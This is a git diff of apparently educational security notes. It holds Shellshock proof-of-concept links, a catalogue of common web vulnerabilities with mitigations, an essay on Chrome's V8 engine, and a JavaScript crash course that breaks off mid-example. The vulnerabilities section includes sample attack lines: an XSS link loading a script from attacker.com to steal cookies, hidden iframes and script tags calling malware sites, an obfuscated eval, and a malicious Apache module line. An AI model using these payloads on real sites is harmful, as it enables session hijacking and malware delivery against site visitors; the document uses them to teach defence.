+[http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-025](http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-025) + +[http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-026](http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-026) + +[http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-027](http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-027) + +[http://blog.cloudflare.com/inside-shellshock/](http://blog.cloudflare.com/inside-shellshock/) + + + + +#### Proof-of-Concept Attacks + +[https://github.com/mubix/shellshocker-pocs]:https://github.com/mubix/shellshocker-pocs + +[http://research.zscaler.com/2014/09/shellshock-attacks-spotted-in-wild.html](http://research.zscaler.com/2014/09/shellshock-attacks-spotted-in-wild.html) + +[http://www.clevcode.org/cve-2014-6271-shellshock/](http://www.clevcode.org/cve-2014-6271-shellshock/) + +[https://www.invisiblethreat.ca/2014/09/cve-2014-6271/](https://www.invisiblethreat.ca/2014/09/cve-2014-6271/) + +[http://marc.info/?l=qmail&m=141183309314366&w=2](http://marc.info/?l=qmail&m=141183309314366&w=2) + +[https://www.dfranke.us/posts/2014-09-27-shell-shock-exploitation-vectors.html](https://www.dfranke.us/posts/2014-09-27-shell-shock-exploitation-vectors.html) + +[https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/](https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/) + +[https://www.invisiblethreat.ca/2014/09/cve-2014-6271/](https://www.invisiblethreat.ca/2014/09/cve-2014-6271/) + +[http://pastebin.com/VyMs3rRd](http://pastebin.com/VyMs3rRd) + +[http://infosecnirvana.com/shellshock-hello-honeypot/](http://infosecnirvana.com/shellshock-hello-honeypot/) + +[https://isc.sans.edu/forums/diary/Shellshock+A+Collection+of+Exploits+seen+in+the+wild/18725](https://isc.sans.edu/forums/diary/Shellshock+A+Collection+of+Exploits+seen+in+the+wild/18725) diff --git a/Web_Security/README.md b/Web_Hacking/A_list_of_common_vulnerabilities.md similarity index 54% rename from Web_Security/README.md rename to Web_Hacking/A_list_of_common_vulnerabilities.md index edfb111..f40b55b 100644 --- a/Web_Security/README.md +++ b/Web_Hacking/A_list_of_common_vulnerabilities.md @@ -1,6 +1,341 @@ -# Web Security +# Common Web Vulnerabilities -## Folders: +Although nomenclatures don't help much when you are facing a security problem, I am keeping this list for a systematic organization. It has regularly been updated. + + + +## Cross-site Scripting (XSS) + +XSS is caused by **insufficient input validation or output escaping**. This vulnerability can allow an attacker to insert HTML markup or scripts in a vulnerable website. The injected code will have plenty of access in this site, and in many cases, to the HTTP cookies stored by the client. + + +HTML has five characters that are reserved: + +* **both angle brackets**, + +* **single and double quotes**, + +* and **ampersand**. + +The ampersand should never appear in most HTML sections. Both angle brackets should not be used inside a tag unless adequately quoted. Quote characters inside a tag can also be harmless in text. + +To allow these characters to appear in problematic locations, an encoding based in an ampersand-prefixed and a semicolon-terminated scheme is used: the [Entity Encoding](http://www.w3schools.com/html/html_entities.asp). + + +### Non-Persistent Attack: + +XSS non-persistent attacks consist of getting users to click a link with attacker's script. A typical scenario is the following: + +1. The target website performs query searches that are not sanitized. For example, the query could accept scripts on it. A simple example to check this vulnerability is by verifying whether the alert box with the message **Pwnd** is displayed: +``` +http://website.org?q=<script%20type='text/javascript'>alert('Pwnd!');</script> +``` + +2. The attacker crafts an exploit script that gets the victim's authorization information (for example in an **Authorization Cookie**). The attacker sends a **phishing email** to the victim with a link with some script such as: + +``` +http://website.org?q=puppies<script%20src="http://attacker.com/exploit.js"> +``` + +3. If the victim clicks on the link, her/his browser runs the script (legitimate by the **Same Origin Policy**, * i.e.* resources are shared between origins with the same protocol, domain, and port). The attacker now has control of the victim's identity on that website. If the victim is the administrator, it is game over. + + +### Persistent Attack: + +XSS persistent attacks store a malicious script in the databases, which will be retrieved by the users. A typical scenario is the following: + +1. The attacker verifies that the target website has an XSS stored vulnerability (for example, allowing her/him to post text with HTML tags). + +2. The attacker creates an account in the target website and posts something with a hidden script (similar to the one above). + +3. When anyone loads the page with that post, the script runs, and the attacker is able to hijack the victim's section. + + +Additionally, in *password managers*, there is a risk of amplification of XSS bugs. In the web applications that use *[httponly](https://www.owasp.org/index.php/HttpOnly)* cookies, successful exploitation of an XSS flaw may give the attacker transient access to the user's account (and password). + + + +### Attempts of mitigation: + +* Servers should use **Content Security Policy** (CSP) HTTP header, which allows the whitelist of resources contents. For instance, the *Content-Security-Policy* header disables inline JavaScript by default. + +* Servers can use the **HttpOnly** HTTP header which allows setting a cookie that is unavailable to client-side scripts. + +* Search inputs should *always* be sanitized in both server-side and client-side. + +* Servers should redirect invalid requests. + +* Servers should invalidate sessions from different IP addresses. However, this can be mitigated if the attacker is behind a web proxy or behind the same NAT IP. + +* Clients should disabling scripts by default (for example with [NoScript](https://addons.mozilla.org/en-us/firefox/addon/noscript/)). + + + + +--- +## Cross Script Inclusion (XSSI) + + +XSSI comes with the failure to secure sensitive JSON-like responses against being loaded on third-party sites via ```<script src=..>```, and leaking user-specific information in the response. It a risk whenever ambient authority credentials (such as cookies) are used by the server to generate user-specific JavaScript code. + +For instance, JSON is a JavaScript syntax structure to keep in-place object serialization. The curly bracket **{** is assumed to be the beginning of the object. Overloading curly brackets means that JSON blocks will not be adequately recognized in standalone statements. + +--- +## Cross-site Request Forgery (CSRF, XSRF) + +CSRF allows attackers to execute actions using the credentials of another user without that user's knowledge or consent. It is the failure to verify that a particular state-changing HTTP request received by the **server-side** portion of the application was initiated from the expected **client-side** origin. Any third-party website loaded in the browser can perform actions on behalf of the victim. + + +On cross-domain navigation, the browser includes any ambient credentials. To the server, a request originating from its own client-side code will appear as the same as the request from a rogue third-party site, and it might be granted the same privilege. + + +### Examples of exploitation: + +* Any two windows with frames opened in a browser will remain **Same Origin** with each other even if the user logs out from one account and permitting third-party to submit password and username and log int an attacked account. For example, the attacker can open and keep a frame pointing to a sensitive page and then log the victim into the attacker-controlled account to execute some code injection. Despite the change of HTTP credentials, the code injected will access the previous loaded frame. + +* In several home network routers, CSRF can permit attackers to access the device and intercept or modify the network traffic. + + +### Attempts of mitigation: + +* A protection can be done by checking a nonce in each POST request (no replay attacks in a form POST). + +* Including a secret user- and session-specific value on the requests (as an additional query parameter or a hidden field). The attacker will not be able to read the value since access to cross-domain documents is restricted by the **same-origin** policy. + + +---- +## Header Injection (Response Splitting) + +Insufficient escaping of newlines in HTTP responses, generated by the server-side. This can lead to XSS or proxy cache poisoning. + +### Attempts of mitigation: + +* LF and CR characters must be stripped from any attacker-controlled values in the HTTP headers. + +--- +## Mixed Content + +Loading non-HTTPS sub-resources on HTTPS pages undoes most of the benefits of encryption. For scripts and applets, this makes the application vulnerable to active attackers, especially in open wireless networks. + +--- +## Open Redirection + +Applications that perform HTTP- or script-based requests to user-supplied URLs without constraining the possible destinations in any meaningful way, leading, for example, to XSS. + +--- +## Referer Leakage + +HTTP requests may include a *Referer* header that contains the URL of documents that triggered the current navigation in some way. The header also may reveal some information about the user browsing habits, such as query parameters in the referring page. + +This vulnerability is created by disclosure of a sensitive URL by embedding an off-site sub-resource of providing an off-site link. Any security data encoded in the URL of the parent document will be leaked in the *Referer* header. + + +--- +# Vulnerabilities to Web Application Design + +## Cache Poising + +Long-term pollution of the browser cache (or any proxy within) with a malicious version of the targeted web application. Encrypted web applications may be targeted due to response-splitting vulnerabilities. In non-encrypted traffic, network attackers may be able to modify responses too. + +--- +## Clickjacking +The act of obscuring a portion of a web application so that the victim is not aware that individual clicks are delivered to another site. For example, a malicious site wraps another site in a frame. + +If a website includes iframe, there is a chance that it can perform a SQL query searching for iframe code. For example: + +``` +SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%'; +``` + + +--- +## Content and Character Set Sniffing + +The possibility that the browser will ignore any authoritative content type of character set information provided by the server, and interpret the returned document incorrectly. + +### Examples of exploitation: + +* Scenarios where [Content-Type](http://www.w3.org/Protocols/rfc1341/4_Content-Type.html) is ignored. + + +--- +## Cookie Forcing/Injection + +The possibility of blindly injecting HTTP cookies into the context of an otherwise impenetrable web application due to issues in how the mechanism is designed and implemented in browsers. There is a special concern to HTTPS applications. + +### Examples of exploitation: + +* Cookie stuffing: deleting cookies belonging to other applications by overflowing the cookie jar. + +--- +## Denial-of-Service (DoS) + +Any opportunity of the attacker to bring down a browser or server, or make the use of a targeted application more difficult. + + +### DoS and amplification attacks + +DNS resolvers are attractive targets to attackers who exploit the resolvers' large response-to-request size ratio to gain additional free bandwidth. Resolvers that support EDNS0 (Extension Mechanisms for DNS) are especially vulnerable because of the substantially larger packet size that they can return. + +### Examples of exploitation: + +In an amplification scenario, the attack proceeds as follows: + +* The attacker sends a victim DNS server queries using a forged source IP address. The queries may be sent from a single system or a network of systems all using the same forged IP address. The queries are for records that the attacker knows will result in much larger responses, up to several dozen times1 the size of the original queries.. +* The victim server sends the large responses to the source IP address passed in the forged requests, overwhelming the system and causing a DoS situation. + + +--- +## Framebusting + +The possibility of a framed page navigating the top-level document to a new URL without having to satisfy **same-origin** checks. It might be exploited for phishing. + +--- +## HTTP Downgrade + +Ability of an attacker to prevent the user from reaching an HTTPS version of a site or to downgrade an existing HTTPS session to HTTP. + +### Attempts of mitigation: + +* [Strict transport security](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security): The approach allows any site to instruct the browser that all future requests made to a particular hostname or domain should always use HTTPS and that any HTTP traffic should be automatically upgraded and submitted over HTTPS. + + +---- +## Network Fenceposts + +When websites let the browser to interact with destinations not directly accessible to the attacker, for example, with the systems on a victim's internal networks. This attack can be performed with the help of [DNS rebinding](http://en.wikipedia.org/wiki/DNS_rebinding). + +### Attempts of mitigation: + +* Internet Explorer implements the zone model, a potential approach to the risk. + + + +--- + +# Vulnerabilities in the Server-Side + +## Buffer Overflow + +In low-level languages such as C or C++, buffer overflow happens when a program allows more information to be stored in a particular memory region than there is space to accommodate the incoming data, leading to the unexpected overwrite of other vital data structures. + +--- +## Command Injection (SQL, PHP, Shellcode) + +Due to insufficient input filtering or output escaping, attacker-controlled strings may be processed as statements in an interpreted language used by the application. + +### Examples of exploitation: + +* Malicious code injections in an iframe to the attack site: +``` +<iframe frameborder="0" height="0" src="http://<attack-site>/path/file" style="display:none" width="0"></iframe> +``` + +* JavaScript or another scripting language that calls and runs scripts from an attack site: + +``` +<script type='text/javascript' src='http://malware-attack-site/js/x55.js'></script> +``` + +* Scripts that redirects the browser to an attack site: +``` +<script> + if (document.referrer.match(/google\.com/)) { + window.location("http://malware-attack-site/"); + } +</script> +``` + +* Malicious code that is obfuscated to avoid detection: + +``` +eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf")); +``` + +* Shared object files designed to write harmful code to otherwise benign scripts randomly: + +``` +#httpd.conf modified by the hacker +LoadModule harmful_module modules/mod_harmful.so +AddModule mod_harmful.c +``` + +* The **Error template type of malware infection** occurs when the template used for error messages, such as 404 File not Found, is configured to distribute malware. In this way, attackers can launch attacks on URLs that do not even exist on the victim's website. + +### Attempts of mitigation: +* Investigate all possible harmful code on the website. It may be helpful to search for words like [iframe] to find iframe code. Other helpful keywords are "script", "eval", and "unescape." For example, on Unix-based systems: + +```sh +$ grep -irn "iframe" ./ | less +``` + + + + +---- +## Directory Traversal + +Due to insufficient filtering (such as the failure to recognize ```../``` segments) an application can be tricked into reading or writing files at arbitrary locations. Unconstrained file-writing bugs can be exploitable to run attacker-supplied code. + + +--- +## File Inclusion + +If used without a qualifier or prefixed with a *local* (LFI), the term is synonymous to read-related directory traversal. Remote file inclusion (RFI) is an alternative way to exploit file-inclusion vulnerabilities by specifying a URL rather than a valid file path. In some languages, a common API opens local files and fetches remote URLs, which might supply the ability to retrieve the attacker's files. + + +---- +## Format String Vulnerability + +Several libraries accept templates (format strings) followed by a set of parameters that the function is expected to insert into the template at predefined locations. For example, C has functions such as *printf*, *syslog*, etc. The vulnerability is caused by permitting attackers to supply the template to one of these functions. This can lead to data leaks and code execution. + + +--- +## Integer Overflow + +Vulnerability specific to languages with no range checking. The flaw is caused by the developer failing to detect that an integer exceeded the maximum possible value and rolled back to zero, to a large negative integer, or to some hardware-specific result. + +Integer underflow is the opposite effect: crossing the minimum value and rolling over to a very large positive integer. + + +--- +## Pointer Management Vulnerabilities + +In languages that use raw memory pointers such as C or C++, it is possible to use pointers that are either unitized or nor longer valid (dangling). These vulnerabilities will corrupt the internal state of the program and allow an attacker to execute attacker-supplied code. + + +--- +## Cache poisoning attacks + +Several variants of DNS spoofing attacks that can result in cache poisoning. + +### Example of Attack + +1. The attacker sends a target DNS resolver multiple queries for a domain name for which she/he knows the server is not authoritative, and that is unlikely to be in the server's cache. + +2. The resolver sends out requests to other nameservers (whose IP addresses the attacker can also predict). + +3. In the meantime, the attacker floods the victim server with forged responses that appear to originate from the delegated nameserver. The responses contain records that ultimately resolve the requested domain to IP addresses controlled by the attacker. They might contain answer records for the resolved name or, worse; they may further delegate authority to a nameserver owned by the attacker, so that s/he takes control of an entire zone. + +2. If one of the forged responses matches the resolver's request (for example, by query name, type, ID and resolver source port) and is received before a response from the genuine nameserver, the resolver accepts the forged response and caches it, and discards the genuine response. + +5. Future queries for the compromised domain or zone are answered with the forged DNS resolutions from the cache. If the attacker has specified a very long time-to-live on the forged response, the forged records stay in the cache for as long as possible without being refreshed. + + +---- + +# References: + +* [The Tangled Web](http://www.amazon.com/The-Tangled-Web-Securing-Applications/dp/1593273886) +* [Django Security](https://docs.djangoproject.com/en/dev/topics/security/) +* [Bleach: Sanitizing Tool in Python](https://docs.djangoproject.com/en/dev/topics/security/) +* [Google's Public DNS](https://developers.google.com/speed/public-dns/docs/security) + + + +--- + +# Tools ### urllib2 diff --git a/Web_Hacking/Chrome_Security_and_V8.md b/Web_Hacking/Chrome_Security_and_V8.md new file mode 100644 index 0000000..78a1413 --- /dev/null +++ b/Web_Hacking/Chrome_Security_and_V8.md @@ -0,0 +1,191 @@ +# A Closer Look at Chrome's Security: Understanding V8 + +[In 2008, Google released a sandbox-oriented browser](http://blogoscoped.com/google-chrome/), that was assembled from several different code libraries from Google and third parties (for instance, it borrowed a rendering machinery from the open-source [Webkit layout engine](https://www.webkit.org/), later changing it to a forked version, [Blink](http://en.wikipedia.org/wiki/Blink_(layout_engine))). Six years later, Chrome has become the preferred browser for [half of the users on the Internet](http://en.wikipedia.org/wiki/File:Usage_share_of_web_browsers_(Source_StatCounter).svg). In this post I investigate further how security is dealt with in this engine, and I summarize the main features of Chrome and its [Chromium Project](http://www.chromium.org/Home), describing the natural way of processing JavaScript with the **V8 JavaScript virtual machine**. + + + +## They way computers talk... + + + +In mainstream computer languages, a [source code in a ** high-level language** is transformed to a ** low-level language**](http://www.openbookproject.net/thinkcs/python/english2e/ch01.html) (a machine or assembly language) by either being **compiled** or **interpreted** . It is [a very simple concept](https://www.youtube.com/watch?v=_C5AHaS1mOA), but it is a fundamental one! + +### Compilers and Interpreters + +**Compilers** produce an intermediate form called **code object**, which is like machine code but augmented with symbols tables to make executable blocks (library files, with file objects). A linker is used to combine them to form executables finally. + +**Interpreters** execute instructions without compiling into machine language first. They are first translated into a lower-level intermediate representations such as **byte code** or **abstract syntax trees** (ASTs). Then they are interpreted by a **virtual machine**. + +The truth is that things are generally mixed. For example, when you type some instruction in Python's REPL, [the language executes four steps](http://akaptur.com/blog/2013/11/17/introduction-to-the-python-interpreter-3/): *lexing* (breaks the code into pieces), *parsing* (generates an AST with those pieces - it is the syntax analysis), *compiling* (converts the AST into code objects - which are attributes of the function objects), and *interpreting* (executes the code objects). + +In Python, byte-compiled code, in the form of **.pyc** files, is used by the compiler to speed-up the start-up time (load time) for short programs that use a lot of standard modules. And, by the way, byte codes are attributes of the code object so to see them, you need to call ```func_code``` (code object) and ```co_code```(bytecode)[1]: + +```py +>>> def some_function(): +... return +... +>>> some_function.func_code.co_code +'d\x00\x00S' +``` + +On the other hand, traditional JavaScript code is represented as bytecode or an AST, and then executed in a *virtual machine* or further compiled into machine code. When JavaScript interprets code, it executes roughly the following steps: *parsing* and *preprocessing*, *scope analysis*, and *bytecode or translation to native*. Just a note: the JavaScript engine represents bytecode using [SpiderMonkey](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Internals/Bytecode). + +So we see that when modern languages choose the way they compile or interpret code, they are trading off with the speed they want things to run. Since browsers are preoccupied with delivering content the faster they can, this is a fundamental concept. + + +### Method JITs and Tracing JITs + +To speed things up, instead of having the code being parsed and then executed ([one at a time](http://en.wikipedia.org/wiki/Ahead-of-time_compilation)), **dynamic translators** (*Just-in-time* translators, or JIT) can be used. JITs *translate intermediate representation into machine language at runtime*. They have the efficiency of running native code with the cost of startup time plus increased memory (when the bytecode or AST are first compiled). + +Engines have different policies on code generation, which can roughly be grouped into types: **tracing** and **method**. + +**Method JITs** emit native code for every block (method) of code and update references dynamically. Method JITs can implement an *inline cache* for rewriting type lookups at runtime. + +In **tracing JITs**, native code is only emitted when a certain block (method) is considered *important*. An example is given by traditional JavaScript: if you load a script with functions that are never used, they are never compiled. Additionally, in JavaScript a *cache* is usually implemented due to the nature of its *dynamic typing system*. + + As we will see below, V8 performs direct JIT compilation from (JavaScript) source code to native machine code (IA-32, x86-64, ARM, or MIPS ISAs), **without transforming it to bytecode first**. In addition, V8 performs dynamic several optimizations at runtime (including **inline caching**). But let's not get ahead of ourselves! Also, as a note, Google has implemented a technology called [**Native Client**](http://code.google.com/p/nativeclient/) (NaCl), which allows one to provide compiled code to the Chrome browser. + + +---- +## The way JavaScript rolls... + +JavaScript's integration with [Netscape Navigator](http://en.wikipedia.org/wiki/Netscape_Navigator) in the mid-90s made it easier for developers to access HTML page elements such as *forms*, *frames*, and *images*. This was essential for JavaScript's accession to become the most popular scripting engine for the web. + +However, the language's high dynamical behavior (that I'm briefly discussing here) came with a price: in the mid-2000s browsers had very slow implementations that did not scale with code size or *object allocation*. Issues such as *memory leaks* when running web apps were becoming mainstream. It was clear that things would only get worse and a new JavaScript engine was a need. + + +### JavaScript's Structure + +In JavaScript, every object has a *prototype*, and a prototype is also an object. All JavaScript objects inherit their properties and methods from their prototype. + +So, for example, supposing an application that has an object *Point* (borrowed from the [official documentation](https://developers.google.com/v8/design)): + +```JavaScript +function Point(x,y){ + this.x = x; + this.y = y; +} +``` +We can create several objects: + +```JavaScript +var a = new Point(0,1); +var b = new Point(2,3); +``` + +And we can access the propriety ```x``` in these object by: +``` +a.x; +b.x; +``` + +In the above implementation, we would have two different Point objects that do not share any structure. This is because JavaScript is **classless**: you create new objects on the fly and dynamically add or remove proprieties. Functions can move from an object to another. Objects with the same type can appear in the same sites in the program with no constraints. + +Furthermore, to store their object proprieties, most JavaScript engines use a *dictionary-like data structure*. Each property access demands a dynamic lookup to resolve their location in memory. This contrasts *static* languages such as Java, where instance variables are located at fixed offsets determined by the compiler (due to the *fixed* object layout by the *object's class*). In this case, access is given by a simple memory load or store (a single instruction). + +### JavaScript's Garbage Collection + + Garbage collection is a form of *automatic memory management*: an attempt to reclaim the memory occupied by objects that are not being used any longer (*i.e.*, if an object loses its reference, the object's memory has to be reclaimed). + +The other possibility is *manual memory management*, which requires the developer to specify which objects need to be deallocated. However, manual garbage collection can result in bugs such as: + +1. **Dangling pointers**: when a piece of memory is freed while there are still pointers to it. + +2. **Double free bugs**: when the program tries to free a region of memory that it had already freed. + +3. **Memory leaks**: when the program fails to free memory occupied by an object that had become unreachable, leading to memory exhaustion. + + +As one could guess, JavaScript has automatic memory management. Actually, the core design flaw of traditional JavaScript engines is **bad garbage collection behavior**. The problem is that JavaScript engines do not know exactly where all the pointers are, and they will search through the entire execution stack to see what data looks like pointers (for instance, integers can look like a pointer to an address in the heap). + + + + +------------ +## Introducing V8 + +A solution for the issues presented above came from Google, with the **V8 Engine**. V8 is an [open source JavaScript engine](https://code.google.com/p/v8/) written in C++ that gave birth to Chrome. V8 has a way to categorize the highly-dynamic JavaScript objects into classes, bringing techniques from static class-based languages. In addition, as I mentioned in the beginning, V8 compiles JavaScript to native machine code before executing it. + +In terms of performance, besides direct compilation to native code, three main features in V8 are fundamental: + + 1. Hidden classes. + + 2. In-line caching as an optimization technique. + + 3. Efficient memory management system (garbage collection). + +Let's take a look at each of them. + +### V8's Hidden Class + +In V8, as execution goes on, objects that end up with the same properties will share the same **hidden class**. This way, the engine applies dynamic optimizations. + +Consider the Point example from before: we have two different objects, ```a``` and ```b```. Instead of having them completely independent, V8 makes them share a hidden class. So instead of creating two objects, we have *three*. The hidden class shows that both objects have the same proprieties, and an object changes its hidden class when a new property is added. + +So, for our example, if another Point object is created: + +1. Initially, the Point object has no properties, so the newly created object refers to the initial class **C0**. The value is stored at offset zero of the Point object. + +2. When property ```x``` is added, V8 follows the hidden class transition from **C0** to **C1** and writes the value of ```x``` at the offset specified by **C1**. + +3. When property ```y``` is added, V8 follows the hidden class transition from **C1** to **C2** and writes the value of ```y``` at the offset specified by **C2**. + +Instead of having a generic lookup for propriety, V8 generates efficient machine code to search the propriety. The machine code generated for accessing ```x``` is something like this: + +``` +# ebx = the point object +cmp [ebx, <class offset>], <cached class> +jne <inline cache miss> +mv eax, [ebx, <cached x offset>] +``` +Instead of a complicated lookup at the propriety, the propriety reading translates into three machine operations! + +It might seem inefficient to create a new hidden class whenever a property is added. However, because of the class transitions, the hidden classes can be reused several times. It turns out that most of the access to objects are within the same hidden class. + + + +### V8's Inline caching + + +When the engine runs the code, it does not know about the hidden class. V8 optimizes property access by predicting that the class will also be used for all future objects accessed in the same section of code, and adds the information to the **inline cache code**. + +Inline caching is a class-based object-oriented optimization technique employed by some language runtimes. The concept of inline caching is based on the observation that the objects that occur at a particular call site are often of the same type. Therefore, performance can be increased by storing the result of a method lookup *inline* (at the call site). + +If V8 has predicted the property's value correctly, this is assigned in a single operation. If the prediction is incorrect, V8 patches the code to remove the optimization. To facilitate the process, call sites are assigned in four different states: + + +1. **Unitilized**: Initial state, for any object that was never seen before. + +2. **Pre-monomorphic**: Behaves like an uninitialized but do a one-time lookup and rewrite it to the monophorfic state. It's good for code executed only once (such as initialization and setup). + +3. **Monomphorpic**: Very fast. Recodes the hidden class of the object already seen. + +4. **Megamorphic**: Like the initialized stub (since it always does runtime lookup) except that it never replaces itself. + +In conclusion, the combination of using hidden classes to access properties with inline caching (plus machine code generation) does optimize in cases where the type of objects are frequently created and accessed in a similar way. This dramatically improves the speed at which most JavaScript code can be executed. + + + + +### V8's Efficient Garbage Collecting + + +In V8, a **precise garbage collection** is used. *Every pointer's location is known on the execution stack*, so V8 is able to implement incremental garbage collection. V8 can migrate an object to another place and rewire the pointer. + +In summary, [V8's garbage collection](https://developers.google.com/v8/design#garb_coll): + + 1. stops program execution when performing a garbage collection cycle, + + 2. processes only part of the object heap in most collection cycles (minimizing the impact of stopping the application), + + 3. always knows exactly where all objects and pointers are in memory (avoiding falsely identifying objects as pointers). + + + +------------- + +## Further Readings: + +* [Privacy And Security Settings in Chrome](https://noncombatant.org/2014/03/11/privacy-and-security-settings-in-chrome/) + +[1] When the Python interpreter is invoked with the ```-O``` flag, optimized code is generated and stored in ***.pyo*** files. The optimizer removes assert statements. diff --git a/Web_Hacking/JavaScript_crash_course.md b/Web_Hacking/JavaScript_crash_course.md new file mode 100644 index 0000000..88c97ed --- /dev/null +++ b/Web_Hacking/JavaScript_crash_course.md @@ -0,0 +1,423 @@ +# JavaScript: Crash Course + + +# Installing & Setting up + +JavaScript (JS) is a dynamic computer programming language. Install [Google Dev Tools](https://developer.chrome.com/devtools/index) to proceed. + +# JavaScript 101 + +To include your example.js in an HTML page (usually placed right before </body> will guarantee that elements are defined when the script is executed): + +``` +<script src="/path/to/example.js"></script> +``` + +Variables can be defined using multiple var statements or in a single combined var statement. The value of a variable declared without a value is undefined. + +## Types in JavaScript + +### Primitive: + + - String + - Number + - Boolean + - null (represent the absence of a value, similar to many other programming languages) + - undefined (represent a state in which no value has been assigned at all) + +### Objects: + +``` +// Creating an object with the constructor: +var person1 = new Object; + +person1.firstName = "John"; +person1.lastName = "Doe"; + +alert( person1.firstName + " " + person1.lastName ); +// Creating an object with the object literal syntax: +var person2 = { + firstName: "Jane", + lastName: "Doe" +}; + +alert( person2.firstName + " " + person2.lastName ); +Array + +// Creating an array with the constructor: +var foo = new Array; +// Creating an array with the array literal syntax: +var bar = []; +If/Else + +var foo = true; +var bar = false; + +if ( bar ) { + // This code will never run. + console.log( "hello!" ); +} + +if ( bar ) { + + // This code won't run. + +} else { + + if ( foo ) { + // This code will run. + } else { + // This code would run if foo and bar were both false. + } + +} +``` + +### Flow Control + +#### switch + +``` +switch ( foo ) { + + case "bar": + alert( "the value was bar -- yay!" ); + break; + + case "baz": + alert( "boo baz :(" ); + break; + + default: + alert( "everything else is just ok" ); + +} +``` + +#### for + +``` +for ( var i = 0; i < 5; i++ ) { + // Logs "try 0", "try 1", ..., "try 4". + console.log( "try " + i ); +} +``` + +#### while + +``` +var i = 0; +while ( i < 100 ) { + // This block will be executed 100 times. + console.log( "Currently at " + i ); + i++; // Increment i +} +or + +var i = -1; +while ( ++i < 100 ) { + // This block will be executed 100 times. + console.log( "Currently at " + i ); +} +``` + + +#### do-while + +``` +do { + // Even though the condition evaluates to false + // this loop's body will still execute once. + alert( "Hi there!" ); + +} while ( false ); +``` + +### Ternary Operator + +``` +// Set foo to 1 if bar is true; otherwise, set foo to 0: +var foo = bar ? 1 : 0; +``` + +### Arrays + +``` +.length + +var myArray = [ "hello", "world", "!" ]; + +for ( var i = 0; i < myArray.length; i = i + 1 ) { + + console.log( myArray[ i ] ); + +} +.concat() + +var myArray = [ 2, 3, 4 ]; +var myOtherArray = [ 5, 6, 7 ]; +var wholeArray = myArray.concat( myOtherArray ); +.join() + + // Joining elements + +var myArray = [ "hello", "world", "!" ]; + +// The default separator is a comma. +console.log( myArray.join() ); // "hello,world,!" + +// Any string can be used as separator... +console.log( myArray.join( " " ) ); // "hello world !"; +console.log( myArray.join( "!!" ) ); // "hello!!world!!!"; + +// ...including an empty one. +console.log( myArray.join( "" ) ); +.pop() and .push() +``` + +#### Remove or add last element + +Extracts a part of the array and returns that part in a new array. This method takes one parameter, which is the starting index: +``` +.reverse() + +var myArray = [ "world" , "hello" ]; +myArray.reverse(); // [ "hello", "world" ] +.shift() + +var myArray = []; + +myArray.push( 0 ); // [ 0 ] +myArray.push( 2 ); // [ 0 , 2 ] +myArray.push( 7 ); // [ 0 , 2 , 7 ] +myArray.shift(); // [ 2 , 7 ] +.slice() +``` + + +#### Remove a certain amount of elements + +Abd adds new ones at the given index. It takes at least three parameters: + +* Index – The starting index. +* Length – The number of elements to remove. +* Values – The values to be inserted at the index position. + +``` +var myArray = [ 0, 7, 8, 5 ]; +myArray.splice( 1, 2, 1, 2, 3, 4 ); +console.log( myArray ); // [ 0, 1, 2, 3, 4, 5 ] +.sort() +``` + +#### Sorts an array + +It takes one parameter, which is a comparing function. If this function is not given, the array is sorted ascending: +``` +// Sorting with comparing function. + +function descending( a, b ) { + return b - a; +} + +var myArray = [ 3, 4, 6, 1 ]; + +myArray.sort( descending ); // [ 6, 4, 3, 1 ] +.unshift() +``` + +#### Inserts an element at the first position of the array + +``` +.forEach() +function printElement( elem ) { + console.log( elem ); +} + +function printElementAndIndex( elem, index ) { + console.log( "Index " + index + ": " + elem ); +} + +function negateElement( elem, index, array ) { + array[ index ] = -elem; +} + +myArray = [ 1, 2, 3, 4, 5 ]; + +// Prints all elements to the consolez +myArray.forEach( printElement ); + +// Prints "Index 0: 1", "Index 1: 2", "Index 2: 3", ... +myArray.forEach( printElementAndIndex ); + +// myArray is now [ -1, -2, -3, -4, -5 ] +myArray.forEach( negateElement ); + +``` + + +### Strings + + +Strings are a primitive and an object in JavaScript. + +Some methods: + +* length +* charAt() +* indexOf() +* substring() +* split() +* toLowerCase +* replace +* slice +* lastIndexOf +* concat +* trim +* toUpperCase + + +### Objects + +Nearly everything in JavaScript is an object – arrays, functions, numbers, even strings - and they all have properties and methods. + +``` +var myObject = { + sayHello: function() { + console.log( "hello" ); + }, + myName: "Rebecca" +}; + +myObject.sayHello(); // "hello" + +console.log( myObject.myName ); // "Rebecca" +The key can be any valid identifier: + +var myObject = { + validIdentifier: 123, + "some string": 456, + 99999: 789 +}; +``` + +### Functions + +Can be created in many ways: + +``` +// Named function expression. +var foo = function() { ----> function expression (load later) + // Do something. +}; + +function foo() { ----> function declaration (load first) + // Do something. +} +If you declare a local variable and forget to use the var keyword, that variable is automatically made global. + +Immediately -Invoked Function Expression: + +(function() { + var foo = "Hello world"; +})(); +console.log( foo ); // undefined! +``` + +### Events + +JavaScript lets you execute code when events are detected. + +Example of code to change a source image: + +``` +windows.onload = init; +function init(){ + var img = docuemnt.GetEventById("example"); + img.src = "example.jpg" +``` + +Methods for events: + +* click +* resize +* play +* pause +* load +* unload +* dragstart +* drop +* mousemove +* mousedown +* keypress +* mouseout +* touchstart +* touchend + + +### Closure + +Closure is one of the main proprieties of JavaScript. + +Example of closure for a counter. Normally we would have the code: + +``` + var count = 0; + function counter(){ + count += 1; + return count +} +console.log(counter()); --> print 1 +console.log(counter()); --> print 2 +``` + +However, in JS we can enclose our counter inside an environment. This is useful for large codes, with multiple collaborations, for example, where we might use count variables more than once: +``` +function makeCounter(){ + var count = 0; + function counter(){ + count += 1; + return count; + } + return counter; ----> closure holds count! +} +``` + +### Prototypes +``` +function dog(name, color){ + this.name = name; + this.color = color; +} + +dog.prototype.species = "canine" +dog.prototype.bark = function{ +} +``` + +### jQuery + +Type Checking with jQuery: + +``` +// Checking the type of an arbitrary value. + +var myValue = [ 1, 2, 3 ]; + +// Using JavaScript's typeof operator to test for primitive types: +typeof myValue === "string"; // 